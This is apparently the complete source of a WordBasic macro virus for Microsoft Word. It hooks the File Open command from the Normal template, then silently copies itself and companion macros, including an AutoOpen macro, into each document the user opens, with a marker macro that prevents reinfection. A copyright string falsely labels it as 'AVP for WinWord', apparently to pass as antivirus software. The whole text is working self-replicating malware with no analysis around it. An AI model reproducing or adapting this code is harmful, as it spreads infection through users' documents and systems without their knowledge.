Macro: FileOpen

Sub MAIN
' this macro loaded in normal template as FileOpen
AVPcopyright$ = "AVP for WinWord v1.0"
sQuestion$ = "Would you like to "

Dim dlg As FileOpen
On Error Goto fail
GetCurValues dlg
Dialog dlg
FileOpen dlg

gnoi = 0
iCountMacros = CountMacros(1, 0, 0)
For i = 1 To iCountMacros
 zu$ = MacroName$(i, 1)
 If zu$ = "WWUpdated" Then gnoi = 1
Next i

If gnoi = 1 Then Goto fail
FileSaveAs FileName$(), .Format = 1
MacroCopy "Global:AutoOp", FileName$() + ":AutoOpen"
MacroCopy "Global:WWUpdated", FileName$() + ":WWUpdated"
MacroCopy "Global:FileOpen", FileName$() + ":DaniloffMuDaK"

fail:
End Sub
